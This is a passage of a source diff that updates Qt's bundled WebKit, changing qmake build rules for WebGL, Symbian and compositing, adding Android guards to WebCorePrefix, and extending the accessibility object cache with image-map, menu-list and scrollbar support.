-# GENERATOR 10: XPATH grammar
-xpathbison.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp
-xpathbison.commands = bison -d -p xpathyy ${QMAKE_FILE_NAME} -o $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.c && $(MOVE) $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.c $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp && $(MOVE) $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.h $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.h
-xpathbison.depend = ${QMAKE_FILE_NAME}
-xpathbison.input = XPATHBISON
-xpathbison.CONFIG = target_predeps
-xpathbison.dependency_type = TYPE_C
-xpathbison.variable_out = GENERATED_SOURCES
-addExtraCompilerWithHeader(xpathbison)
-
-# GENERATOR 11: WebKit Version
-# The appropriate Apple-maintained Version.xcconfig file for WebKit version information is in WebKit/mac/Configurations/.
-webkitversion.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}WebKitVersion.h
-webkitversion.commands = perl $$PWD/../WebKit/scripts/generate-webkitversion.pl --config $$PWD/../WebKit/mac/Configurations/Version.xcconfig --outputDir $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}
-WEBKITVERSION_SCRIPT = $$PWD/../WebKit/scripts/generate-webkitversion.pl
-webkitversion.input = WEBKITVERSION_SCRIPT
-webkitversion.CONFIG = target_predeps
-webkitversion.depend = $$PWD/../WebKit/scripts/generate-webkitversion.pl
-webkitversion.variable_out = GENERATED_SOURCES
-webkitversion.clean = ${QMAKE_VAR_GENERATED_SOURCES_DIR_SLASH}WebKitVersion.h
-addExtraCompiler(webkitversion)
+contains(DEFINES, ENABLE_3D_CANVAS=1) {
+tobe|!tobe: QT += opengl
+HEADERS += \
+	bindings/js/JSWebGLArrayBufferConstructor.h \
+	bindings/js/JSWebGLArrayHelper.h \
+	bindings/js/JSWebGLByteArrayConstructor.h \
+	bindings/js/JSWebGLFloatArrayConstructor.h \
+	bindings/js/JSWebGLIntArrayConstructor.h \
+	bindings/js/JSWebGLShortArrayConstructor.h \
+	bindings/js/JSWebGLUnsignedByteArrayConstructor.h \
+	bindings/js/JSWebGLUnsignedIntArrayConstructor.h \
+	bindings/js/JSWebGLUnsignedShortArrayConstructor.h \
+	html/canvas/CanvasContextAttributes.h \
+	html/canvas/CanvasObject.h \
+	html/canvas/WebGLActiveInfo.h \
+	html/canvas/WebGLArrayBuffer.h \
+	html/canvas/WebGLArray.h \
+	html/canvas/WebGLBuffer.h \
+	html/canvas/WebGLByteArray.h \
+	html/canvas/WebGLContextAttributes.h \
+	html/canvas/WebGLFloatArray.h \
+	html/canvas/WebGLFramebuffer.h \
+	html/canvas/WebGLGetInfo.h \
+	html/canvas/WebGLIntArray.h \
+	html/canvas/WebGLProgram.h \
+	html/canvas/WebGLRenderbuffer.h \
+	html/canvas/WebGLRenderingContext.h \
+	html/canvas/WebGLShader.h \
+	html/canvas/WebGLShortArray.h \
+	html/canvas/WebGLTexture.h \
+	html/canvas/WebGLUniformLocation.h \
+	html/canvas/WebGLUnsignedByteArray.h \
+	html/canvas/WebGLUnsignedIntArray.h \
+	html/canvas/WebGLUnsignedShortArray.h \
+    platform/graphics/GraphicsContext3D.h 
+
+SOURCES += \
+	bindings/js/JSWebGLArrayBufferConstructor.cpp \
+	bindings/js/JSWebGLArrayCustom.cpp \
+	bindings/js/JSWebGLByteArrayConstructor.cpp \
+	bindings/js/JSWebGLByteArrayCustom.cpp \
+	bindings/js/JSWebGLFloatArrayConstructor.cpp \
+	bindings/js/JSWebGLFloatArrayCustom.cpp \
+	bindings/js/JSWebGLIntArrayConstructor.cpp \
+	bindings/js/JSWebGLIntArrayCustom.cpp \
+	bindings/js/JSWebGLRenderingContextCustom.cpp \
+	bindings/js/JSWebGLShortArrayConstructor.cpp \
+	bindings/js/JSWebGLShortArrayCustom.cpp \
+	bindings/js/JSWebGLUnsignedByteArrayConstructor.cpp \
+	bindings/js/JSWebGLUnsignedByteArrayCustom.cpp \
+	bindings/js/JSWebGLUnsignedIntArrayConstructor.cpp \
+	bindings/js/JSWebGLUnsignedIntArrayCustom.cpp \
+	bindings/js/JSWebGLUnsignedShortArrayConstructor.cpp \
+	bindings/js/JSWebGLUnsignedShortArrayCustom.cpp \
+	html/canvas/CanvasContextAttributes.cpp \
+    html/canvas/CanvasObject.cpp \
+	html/canvas/WebGLArrayBuffer.cpp \
+	html/canvas/WebGLArray.cpp \
+	html/canvas/WebGLBuffer.cpp \
+	html/canvas/WebGLByteArray.cpp \
+	html/canvas/WebGLContextAttributes.cpp \
+	html/canvas/WebGLFloatArray.cpp \
+	html/canvas/WebGLFramebuffer.cpp \
+	html/canvas/WebGLGetInfo.cpp \
+	html/canvas/WebGLIntArray.cpp \
+	html/canvas/WebGLProgram.cpp \
+	html/canvas/WebGLRenderbuffer.cpp \
+	html/canvas/WebGLRenderingContext.cpp \
+	html/canvas/WebGLShader.cpp \
+	html/canvas/WebGLShortArray.cpp \
+	html/canvas/WebGLTexture.cpp \
+	html/canvas/WebGLUniformLocation.cpp \
+	html/canvas/WebGLUnsignedByteArray.cpp \
+	html/canvas/WebGLUnsignedIntArray.cpp \
+	html/canvas/WebGLUnsignedShortArray.cpp \
+    platform/graphics/GraphicsContext3D.cpp \
+    platform/graphics/qt/GraphicsContext3DQt.cpp \
 
+}
+
+contains(DEFINES, ENABLE_SYMBIAN_DIALOG_PROVIDERS) {
+    # this feature requires the S60 platform private BrowserDialogsProvider.h header file
+    # and is therefore not enabled by default but only meant for platform builds.
+    symbian {
+        LIBS += -lbrowserdialogsprovider
+    }
+}
 
 include($$PWD/../WebKit/qt/Api/headers.pri)
 HEADERS += $$WEBKIT_API_HEADERS
+
 !CONFIG(QTDIR_build) {
-    target.path = $$[QT_INSTALL_LIBS]
-    headers.files = $$WEBKIT_API_HEADERS
-    headers.path = $$[QT_INSTALL_HEADERS]/QtWebKit
+    exists($$OUTPUT_DIR/include/QtWebKit/classheaders.pri): include($$OUTPUT_DIR/include/QtWebKit/classheaders.pri)
+    WEBKIT_INSTALL_HEADERS = $$WEBKIT_API_HEADERS $$WEBKIT_CLASS_HEADERS
+
+    !symbian {
+        headers.files = $$WEBKIT_INSTALL_HEADERS
+        headers.path = $$[QT_INSTALL_HEADERS]/QtWebKit
+        target.path = $$[QT_INSTALL_LIBS]
 
-    VERSION=$${QT_MAJOR_VERSION}.$${QT_MINOR_VERSION}.$${QT_PATCH_VERSION}
+        INSTALLS += target headers
+    } else {
+        # INSTALLS is not implemented in qmake's s60 generators, copy headers manually
+        inst_headers.commands = $$QMAKE_COPY ${QMAKE_FILE_NAME} ${QMAKE_FILE_OUT}
+        inst_headers.input = WEBKIT_INSTALL_HEADERS
+        inst_headers.output = $$[QT_INSTALL_HEADERS]/QtWebKit/${QMAKE_FILE_BASE}${QMAKE_FILE_EXT}
+        QMAKE_EXTRA_COMPILERS += inst_headers
+
+        install.depends += compiler_inst_headers_make_all
+        QMAKE_EXTRA_TARGETS += install
+    }
 
     win32-*|wince* {
         DLLDESTDIR = $$OUTPUT_DIR/bin
+        TARGET = $$qtLibraryTarget($$TARGET)
 
-        dlltarget.commands = $(COPY_FILE) $(DESTDIR)$(TARGET) $$[QT_INSTALL_BINS]
+        dlltarget.commands = $(COPY_FILE) $(DESTDIR_TARGET) $$[QT_INSTALL_BINS]
         dlltarget.CONFIG = no_path
         INSTALLS += dlltarget
     }
 
-
-    INSTALLS += target headers
-
     unix {
         CONFIG += create_pc create_prl
         QMAKE_PKGCONFIG_LIBDIR = $$target.path
@@ -3380,7 +2892,7 @@ HEADERS += $$WEBKIT_API_HEADERS
 
             CONFIG += lib_bundle qt_no_framework_direct_includes qt_framework
             FRAMEWORK_HEADERS.version = Versions
-            FRAMEWORK_HEADERS.files = $$WEBKIT_API_HEADERS
+            FRAMEWORK_HEADERS.files = $${headers.files}
             FRAMEWORK_HEADERS.path = Headers
             QMAKE_BUNDLE_DATA += FRAMEWORK_HEADERS
         }
@@ -3390,8 +2902,7 @@ HEADERS += $$WEBKIT_API_HEADERS
     }
 }
 
-CONFIG(QTDIR_build):isEqual(QT_MAJOR_VERSION, 4):greaterThan(QT_MINOR_VERSION, 4) {
-    # start with 4.5
+CONFIG(QTDIR_build) {
     # Remove the following 2 lines if you want debug information in WebCore
     CONFIG -= separate_debug_info
     CONFIG += no_debug_info
@@ -3414,11 +2925,31 @@ CONFIG(QTDIR_build):isEqual(QT_MAJOR_VERSION, 4):greaterThan(QT_MINOR_VERSION, 4
             plugins/win/PaintHooks.asm
     }
 }
+contains(DEFINES, WTF_USE_ACCELERATED_COMPOSITING) {
+HEADERS += \
+    rendering/RenderLayerBacking.h \
+    rendering/RenderLayerCompositor.h \
+    platform/graphics/GraphicsLayer.h \
+    platform/graphics/GraphicsLayerClient.h \
+    platform/graphics/qt/GraphicsLayerQt.h
+SOURCES += \
+    platform/graphics/GraphicsLayer.cpp \
+    platform/graphics/qt/GraphicsLayerQt.cpp \
+    rendering/RenderLayerBacking.cpp \
+    rendering/RenderLayerCompositor.cpp
+}
 
 symbian {
     shared {
         contains(CONFIG, def_files) {
+            DEF_FILE=../WebKit/qt/symbian
+            # defFilePath is for Qt4.6 compatibility
             defFilePath=../WebKit/qt/symbian
+        } else {
+            MMP_RULES += EXPORTUNFROZEN
         }
     }
 }
+
+# WebKit doesn't compile in C++0x mode
+*-g++*:QMAKE_CXXFLAGS -= -std=c++0x -std=gnu++0x
diff --git a/src/3rdparty/webkit/WebCore/WebCore.qrc b/src/3rdparty/webkit/WebCore/WebCore.qrc
index 69f860a..6da93c6 100644
--- a/src/3rdparty/webkit/WebCore/WebCore.qrc
+++ b/src/3rdparty/webkit/WebCore/WebCore.qrc
@@ -12,5 +12,6 @@
     <file alias="copyCursor.png">Resources/copyCursor.png</file>
     <file alias="progressCursor.png">Resources/progressCursor.png</file>
     <file alias="aliasCursor.png">Resources/aliasCursor.png</file>
+    <file alias="deleteButton.png">Resources/deleteButton.png</file>
 </qresource>
 </RCC>
diff --git a/src/3rdparty/webkit/WebCore/WebCorePrefix.cpp b/src/3rdparty/webkit/WebCore/WebCorePrefix.cpp
index b522e1d..02a5643 100644
--- a/src/3rdparty/webkit/WebCore/WebCorePrefix.cpp
+++ b/src/3rdparty/webkit/WebCore/WebCorePrefix.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2007 Apple Inc.  All rights reserved.
+ * Copyright (C) 2007 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -24,4 +24,3 @@
  */
 
 #include "WebCorePrefix.h"
-
diff --git a/src/3rdparty/webkit/WebCore/WebCorePrefix.h b/src/3rdparty/webkit/WebCore/WebCorePrefix.h
index 6c8e200..ac2014e 100644
--- a/src/3rdparty/webkit/WebCore/WebCorePrefix.h
+++ b/src/3rdparty/webkit/WebCore/WebCorePrefix.h
@@ -18,7 +18,7 @@
  *
  */
 
-/* This prefix file should contain only:
+/* This prefix file should contain only: 
  *    1) files to precompile for faster builds
  *    2) in one case at least: OS-X-specific performance bug workarounds
  *    3) the special trick to catch us using new or delete without including "config.h"
@@ -62,6 +62,19 @@
 #include <pthread.h>
 #endif // defined(WIN32) || defined(_WIN32)
 
+#if defined(ANDROID)
+#ifdef __cplusplus
+// Must come before include of algorithm.
+#define PREFIX_FOR_WEBCORE 1
+#define EXPORT __attribute__((visibility("default")))
+#endif
+// Android uses a single set of include directories when building WebKit and
+// JavaScriptCore. Since WebCore/ is included before JavaScriptCore/, Android
+// includes JavaScriptCore/config.h explicitly here to make sure it gets picked
+// up.
+#include <JavaScriptCore/config.h>
+#endif
+
 #include <sys/types.h>
 #include <fcntl.h>
 #if defined(__APPLE__)
@@ -105,7 +118,7 @@
 
 #include <time.h>
 
-#ifndef BUILDING_WX__
+#if !defined(BUILDING_WX__) && !defined(ANDROID)
 #include <CoreFoundation/CoreFoundation.h>
 #ifdef WIN_CAIRO
 #include <ConditionalMacros.h>
@@ -121,7 +134,7 @@
 #endif
 
 #endif
-#endif
+#endif  // !defined(BUILDING_WX__) && !defined(ANDROID)
 
 #ifdef __OBJC__
 #import <Cocoa/Cocoa.h>
@@ -140,3 +153,4 @@
 #undef try
 #undef catch
 #endif
+
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.cpp b/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.cpp
index 55199a3..c347a81 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2008, 2009, 2010 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -30,14 +30,18 @@
 #include "AXObjectCache.h"
 
 #include "AccessibilityARIAGrid.h"
-#include "AccessibilityARIAGridRow.h"
 #include "AccessibilityARIAGridCell.h"
+#include "AccessibilityARIAGridRow.h"
+#include "AccessibilityImageMapLink.h"
 #include "AccessibilityList.h"
 #include "AccessibilityListBox.h"
 #include "AccessibilityListBoxOption.h"
-#include "AccessibilityImageMapLink.h"
 #include "AccessibilityMediaControls.h"
+#include "AccessibilityMenuList.h"
+#include "AccessibilityMenuListPopup.h"
+#include "AccessibilityMenuListOption.h"
 #include "AccessibilityRenderObject.h"
+#include "AccessibilityScrollbar.h"
 #include "AccessibilitySlider.h"
 #include "AccessibilityTable.h"
 #include "AccessibilityTableCell.h"
@@ -46,6 +50,8 @@
 #include "AccessibilityTableRow.h"
 #include "FocusController.h"
 #include "Frame.h"
+#include "HTMLAreaElement.h"
+#include "HTMLImageElement.h"
 #include "HTMLNames.h"
 #if ENABLE(VIDEO)
 #include "MediaControlElements.h"
@@ -80,6 +86,35 @@ AXObjectCache::~AXObjectCache()
     }
 }
 
+AccessibilityObject* AXObjectCache::focusedImageMapUIElement(HTMLAreaElement* areaElement)
+{
+    // Find the corresponding accessibility object for the HTMLAreaElement. This should be
+    // in the list of children for its corresponding image.
+    if (!areaElement)
+        return 0;
+    
+    HTMLImageElement* imageElement = areaElement->imageElement();
+    if (!imageElement)
+        return 0;
+    
+    AccessibilityObject* axRenderImage = areaElement->document()->axObjectCache()->getOrCreate(imageElement->renderer());
+    if (!axRenderImage)
+        return 0;
+    
+    AccessibilityObject::AccessibilityChildrenVector imageChildren = axRenderImage->children();
+    unsigned count = imageChildren.size();
+    for (unsigned k = 0; k < count; ++k) {
+        AccessibilityObject* child = imageChildren[k].get();
+        if (!child->isImageMapLink())
+            continue;
+        
+        if (static_cast<AccessibilityImageMapLink*>(child)->areaElement() == areaElement)
+            return child;
+    }    
+    
+    return 0;
+}
+    
 AccessibilityObject* AXObjectCache::focusedUIElementForPage(const Page* page)
 {
     // get the focused node in the page
@@ -88,6 +123,9 @@ AccessibilityObject* AXObjectCache::focusedUIElementForPage(const Page* page)
     if (!focusedNode)
         focusedNode = focusedDocument;
 
+    if (focusedNode->hasTagName(areaTag))
+        return focusedImageMapUIElement(static_cast<HTMLAreaElement*>(focusedNode));
+    
     RenderObject* focusedNodeRenderer = focusedNode->renderer();
     if (!focusedNodeRenderer)
         return 0;
@@ -141,11 +179,16 @@ AccessibilityObject* AXObjectCache::getOrCreate(RenderObject* renderer)
         RefPtr<AccessibilityObject> newObj = 0;
         if (renderer->isListBox())
             newObj = AccessibilityListBox::create(renderer);
-        else if (node && (nodeIsAriaType(node, "list") || node->hasTagName(ulTag) || node->hasTagName(olTag) || node->hasTagName(dlTag)))
+        else if (renderer->isMenuList())
+            newObj = AccessibilityMenuList::create(renderer);
+
+        // If the node is aria role="list" or the aria role is empty and its a ul/ol/dl type (it shouldn't be a list if aria says otherwise). 
+        else if (node && ((nodeIsAriaType(node, "list") || nodeIsAriaType(node, "directory"))
+                          || (nodeIsAriaType(node, nullAtom) && (node->hasTagName(ulTag) || node->hasTagName(olTag) || node->hasTagName(dlTag)))))
             newObj = AccessibilityList::create(renderer);
         
         // aria tables
-        else if (nodeIsAriaType(node, "grid"))
+        else if (nodeIsAriaType(node, "grid") || nodeIsAriaType(node, "treegrid"))
             newObj = AccessibilityARIAGrid::create(renderer);
         else if (nodeIsAriaType(node, "row"))
             newObj = AccessibilityARIAGridRow::create(renderer);
@@ -191,23 +234,32 @@ AccessibilityObject* AXObjectCache::getOrCreate(AccessibilityRole role)
     
     // will be filled in...
     switch (role) {
-        case ListBoxOptionRole:
-            obj = AccessibilityListBoxOption::create();
-            break;
-        case ImageMapLinkRole:
-            obj = AccessibilityImageMapLink::create();
-            break;
-        case ColumnRole:
-            obj = AccessibilityTableColumn::create();
-            break;            
-        case TableHeaderContainerRole:
-            obj = AccessibilityTableHeaderContainer::create();
-            break;   
-        case SliderThumbRole:
-            obj = AccessibilitySliderThumb::create();
-            break;
-        default:
-            obj = 0;
+    case ListBoxOptionRole:
+        obj = AccessibilityListBoxOption::create();
+        break;
+    case ImageMapLinkRole:
+        obj = AccessibilityImageMapLink::create();
+        break;
+    case ColumnRole:
+        obj = AccessibilityTableColumn::create();
+        break;            
+    case TableHeaderContainerRole:
+        obj = AccessibilityTableHeaderContainer::create();
+        break;   
+    case SliderThumbRole:
+        obj = AccessibilitySliderThumb::create();
+        break;
+    case MenuListPopupRole:
+        obj = AccessibilityMenuListPopup::create();
+        break;
+    case MenuListOptionRole:
+        obj = AccessibilityMenuListOption::create();
+        break;
+    case ScrollBarRole:
+        obj = AccessibilityScrollbar::create();
+        break;
+    default:
+        obj = 0;
     }
     
     if (obj)
@@ -235,9 +287,8 @@ void AXObjectCache::remove(AXID axID)
     removeAXID(obj);
     
     // finally remove the object
-    if (!m_objects.take(axID)) {
+    if (!m_objects.take(axID))
         return;
-    }
     
     ASSERT(m_objects.size() >= m_idsInUse.size());    
 }
@@ -261,7 +312,7 @@ AXID AXObjectCache::platformGenerateAXID() const
     AXID objID = lastUsedID;
     do {
         ++objID;
-    } while (objID == 0 || HashTraits<AXID>::isDeletedValue(objID) || m_idsInUse.contains(objID));
+    } while (!objID || HashTraits<AXID>::isDeletedValue(objID) || m_idsInUse.contains(objID));
 
     lastUsedID = objID;
 
@@ -286,20 +337,29 @@ AXID AXObjectCache::getAXID(AccessibilityObject* obj)
     return objID;
 }
 
-void AXObjectCache::removeAXID(AccessibilityObject* obj)
+void AXObjectCache::removeAXID(AccessibilityObject* object)
 {
-    if (!obj)
+    if (!object)
         return;
     
-    AXID objID = obj->axObjectID();
-    if (objID == 0)
+    AXID objID = object->axObjectID();
+    if (!objID)
         return;
     ASSERT(!HashTraits<AXID>::isDeletedValue(objID));
     ASSERT(m_idsInUse.contains(objID));
-    obj->setAXObjectID(0);
+    object->setAXObjectID(0);
     m_idsInUse.remove(objID);
 }
 
+#if HAVE(ACCESSIBILITY)
+void AXObjectCache::contentChanged(RenderObject* renderer)
+{
+    AccessibilityObject* object = getOrCreate(renderer);
+    if (object)
+        object->contentChanged(); 
+}
+#endif
+
 void AXObjectCache::childrenChanged(RenderObject* renderer)
 {
     if (!renderer)
@@ -339,7 +399,7 @@ void AXObjectCache::notificationPostTimerFired(Timer<AXObjectCache>*)
 }
     
 #if HAVE(ACCESSIBILITY)
-void AXObjectCache::postNotification(RenderObject* renderer, AXNotification notification, bool postToElement)
+void AXObjectCache::postNotification(RenderObject* renderer, AXNotification notification, bool postToElement, PostType postType)
 {
     // Notifications for text input objects are sent to that object.
     // All others are sent to the top WebArea.
@@ -348,28 +408,35 @@ void AXObjectCache::postNotification(RenderObject* renderer, AXNotification noti
     
     // Get an accessibility object that already exists. One should not be created here
     // because a render update may be in progress and creating an AX object can re-trigger a layout
-    RefPtr<AccessibilityObject> obj = get(renderer);
-    while (!obj && renderer) {
+    RefPtr<AccessibilityObject> object = get(renderer);
+    while (!object && renderer) {
         renderer = renderer->parent();
-        obj = get(renderer); 
+        object = get(renderer); 
     }
     
     if (!renderer)
         return;
-
-    if (obj && !postToElement)
-        obj = obj->observableObject();
-    
-    Document* document = renderer->document();
-    if (!obj && document)
-        obj = get(document->renderer());
     
-    if (!obj)
+    postNotification(object.get(), renderer->document(), notification, postToElement, postType);
+}
+
+void AXObjectCache::postNotification(AccessibilityObject* object, Document* document, AXNotification notification, bool postToElement, PostType postType)
+{
+    if (object && !postToElement)
+        object = object->observableObject();
+
+    if (!object && document)
+        object = get(document->renderer());
+
+    if (!object)
         return;
 
-    m_notificationsToPost.append(make_pair(obj, notification));
-    if (!m_notificationPostTimer.isActive())
-        m_notificationPostTimer.startOneShot(0);
+    if (postType == PostAsynchronously) {
+        m_notificationsToPost.append(make_pair(object, notification));
+        if (!m_notificationPostTimer.isActive())
+            m_notificationPostTimer.startOneShot(0);
+    } else
+        postPlatformNotification(object, notification);
 }
 
 void AXObjectCache::selectedChildrenChanged(RenderObject* renderer)
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.h b/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.h
index 5a75f84..dad73f2 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AXObjectCache.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2003, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2003, 2006, 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -42,104 +42,117 @@ class WebCoreTextMarker;
 
 namespace WebCore {
 
-    class Node;
-    class Page;
-    class RenderObject;
-    class String;
-    class VisiblePosition;
-
-    struct TextMarkerData  {
-        AXID axID;
-        Node* node;
-        int offset;
-        EAffinity affinity;
+class HTMLAreaElement;
+class Node;
+class Page;
+class RenderObject;
+class String;
+class VisiblePosition;
+
+struct TextMarkerData {
+    AXID axID;
+    Node* node;
+    int offset;
+    EAffinity affinity;
+};
+
+enum PostType { PostSynchronously, PostAsynchronously };
+
+class AXObjectCache : public Noncopyable {
+public:
+    AXObjectCache();
+    ~AXObjectCache();
+
+    static AccessibilityObject* focusedUIElementForPage(const Page*);
+
+    // to be used with render objects
+    AccessibilityObject* getOrCreate(RenderObject*);
+    
+    // used for objects without backing elements
+    AccessibilityObject* getOrCreate(AccessibilityRole);
+    
+    // will only return the AccessibilityObject if it already exists
+    AccessibilityObject* get(RenderObject*);
+    
+    void remove(RenderObject*);
+    void remove(AXID);
+
+    void detachWrapper(AccessibilityObject*);
+    void attachWrapper(AccessibilityObject*);
+    void childrenChanged(RenderObject*);
+    void selectedChildrenChanged(RenderObject*);
+    // Called by a node when text or a text equivalent (e.g. alt) attribute is changed.
+    void contentChanged(RenderObject*);
+    
+    void handleActiveDescendantChanged(RenderObject*);
+    void handleAriaRoleChanged(RenderObject*);
+    void handleFocusedUIElementChanged(RenderObject* oldFocusedRenderer, RenderObject* newFocusedRenderer);
+    void handleScrolledToAnchor(const Node* anchorNode);
+
+    static void enableAccessibility() { gAccessibilityEnabled = true; }
+    static void enableEnhancedUserInterfaceAccessibility() { gAccessibilityEnhancedUserInterfaceEnabled = true; }
+    
+    static bool accessibilityEnabled() { return gAccessibilityEnabled; }
+    static bool accessibilityEnhancedUserInterfaceEnabled() { return gAccessibilityEnhancedUserInterfaceEnabled; }
+
+    void removeAXID(AccessibilityObject*);
+    bool isIDinUse(AXID id) const { return m_idsInUse.contains(id); }
+    AXID platformGenerateAXID() const;
+    AccessibilityObject* objectFromAXID(AXID id) const { return m_objects.get(id).get(); }
+
+    // Text marker utilities.
+    static void textMarkerDataForVisiblePosition(TextMarkerData&, const VisiblePosition&);
+    static VisiblePosition visiblePositionForTextMarkerData(TextMarkerData&);
+
+    enum AXNotification {
+        AXActiveDescendantChanged,
+        AXCheckedStateChanged,
+        AXFocusedUIElementChanged,
+        AXLayoutComplete,
+        AXLoadComplete,
+        AXSelectedChildrenChanged,
+        AXSelectedTextChanged,
+        AXValueChanged,
+        AXScrolledToAnchor,
+        AXLiveRegionChanged,
+        AXMenuListValueChanged,
     };
 
-    class AXObjectCache {
-    public:
-        AXObjectCache();
-        ~AXObjectCache();
-
-        static AccessibilityObject* focusedUIElementForPage(const Page*);
-
-        // to be used with render objects
-        AccessibilityObject* getOrCreate(RenderObject*);
-        
-        // used for objects without backing elements
-        AccessibilityObject* getOrCreate(AccessibilityRole);
-        
-        // will only return the AccessibilityObject if it already exists
-        AccessibilityObject* get(RenderObject*);
-        
-        void remove(RenderObject*);
-        void remove(AXID);
-
-        void detachWrapper(AccessibilityObject*);
-        void attachWrapper(AccessibilityObject*);
-        void childrenChanged(RenderObject*);
-        void selectedChildrenChanged(RenderObject*);
-        void handleActiveDescendantChanged(RenderObject*);
-        void handleAriaRoleChanged(RenderObject*);
-        void handleFocusedUIElementChanged(RenderObject* oldFocusedRenderer, RenderObject* newFocusedRenderer);
-        void handleScrolledToAnchor(const Node* anchorNode);
-
-        static void enableAccessibility() { gAccessibilityEnabled = true; }
-        static void enableEnhancedUserInterfaceAccessibility() { gAccessibilityEnhancedUserInterfaceEnabled = true; }
-        
-        static bool accessibilityEnabled() { return gAccessibilityEnabled; }
-        static bool accessibilityEnhancedUserInterfaceEnabled() { return gAccessibilityEnhancedUserInterfaceEnabled; }
-
-        void removeAXID(AccessibilityObject*);
-        bool isIDinUse(AXID id) const { return m_idsInUse.contains(id); }
-        AXID platformGenerateAXID() const;
-        AccessibilityObject* objectFromAXID(AXID id) const { return m_objects.get(id).get(); }
-
-        // Text marker utilities.
-        static void textMarkerDataForVisiblePosition(TextMarkerData&, const VisiblePosition&);
-        static VisiblePosition visiblePositionForTextMarkerData(TextMarkerData&);
-
-        enum AXNotification {
-            AXCheckedStateChanged,
-            AXFocusedUIElementChanged,
-            AXLayoutComplete,
-            AXLoadComplete,
-            AXSelectedChildrenChanged,
-            AXSelectedTextChanged,
-            AXValueChanged,
-            AXScrolledToAnchor,
-        };
-        
-        void postNotification(RenderObject*, AXNotification, bool postToElement);
-
-    protected:
-        void postPlatformNotification(AccessibilityObject*, AXNotification);
-
-    private:
-        HashMap<AXID, RefPtr<AccessibilityObject> > m_objects;
-        HashMap<RenderObject*, AXID> m_renderObjectMapping;
-        static bool gAccessibilityEnabled;
-        static bool gAccessibilityEnhancedUserInterfaceEnabled;
-        
-        HashSet<AXID> m_idsInUse;
-        
-        Timer<AXObjectCache> m_notificationPostTimer;
-        Vector<pair<RefPtr<AccessibilityObject>, AXNotification> > m_notificationsToPost;
-        void notificationPostTimerFired(Timer<AXObjectCache>*);
-        
-        AXID getAXID(AccessibilityObject*);
-        bool nodeIsAriaType(Node* node, String role);
-    };
+    void postNotification(RenderObject*, AXNotification, bool postToElement, PostType = PostAsynchronously);
+    void postNotification(AccessibilityObject*, Document*, AXNotification, bool postToElement, PostType = PostAsynchronously);
+
+protected:
+    void postPlatformNotification(AccessibilityObject*, AXNotification);
+
+private:
+    HashMap<AXID, RefPtr<AccessibilityObject> > m_objects;
+    HashMap<RenderObject*, AXID> m_renderObjectMapping;
+    static bool gAccessibilityEnabled;
+    static bool gAccessibilityEnhancedUserInterfaceEnabled;
+    
+    HashSet<AXID> m_idsInUse;
+    
+    Timer<AXObjectCache> m_notificationPostTimer;
+    Vector<pair<RefPtr<AccessibilityObject>, AXNotification> > m_notificationsToPost;
+    void notificationPostTimerFired(Timer<AXObjectCache>*);
+    
+    static AccessibilityObject* focusedImageMapUIElement(HTMLAreaElement*);
+    
+    AXID getAXID(AccessibilityObject*);
+    bool nodeIsAriaType(Node*, String role);
+};
 
 #if !HAVE(ACCESSIBILITY)
-    inline void AXObjectCache::handleActiveDescendantChanged(RenderObject*) { }
-    inline void AXObjectCache::handleAriaRoleChanged(RenderObject*) { }
-    inline void AXObjectCache::detachWrapper(AccessibilityObject*) { }
-    inline void AXObjectCache::attachWrapper(AccessibilityObject*) { }
-    inline void AXObjectCache::selectedChildrenChanged(RenderObject*) { }
-    inline void AXObjectCache::postNotification(RenderObject*, AXNotification, bool postToElement) { }
-    inline void AXObjectCache::postPlatformNotification(AccessibilityObject*, AXNotification) { }
-    inline void AXObjectCache::handleFocusedUIElementChanged(RenderObject*, RenderObject*) { }
-    inline void AXObjectCache::handleScrolledToAnchor(const Node*) { }
+inline void AXObjectCache::handleActiveDescendantChanged(RenderObject*) { }
+inline void AXObjectCache::handleAriaRoleChanged(RenderObject*) { }
+inline void AXObjectCache::detachWrapper(AccessibilityObject*) { }
+inline void AXObjectCache::attachWrapper(AccessibilityObject*) { }
+inline void AXObjectCache::selectedChildrenChanged(RenderObject*) { }
+inline void AXObjectCache::postNotification(RenderObject*, AXNotification, bool postToElement, PostType) { }
+inline void AXObjectCache::postPlatformNotification(AccessibilityObject*, AXNotification) { }
+inline void AXObjectCache::handleFocusedUIElementChanged(RenderObject*, RenderObject*) { }
+inline void AXObjectCache::handleScrolledToAnchor(const Node*) { }
+inline void AXObjectCache::contentChanged(RenderObject*) { }
 #endif
 
 }
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.cpp
index 69c4512..58b3fa1 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.cpp
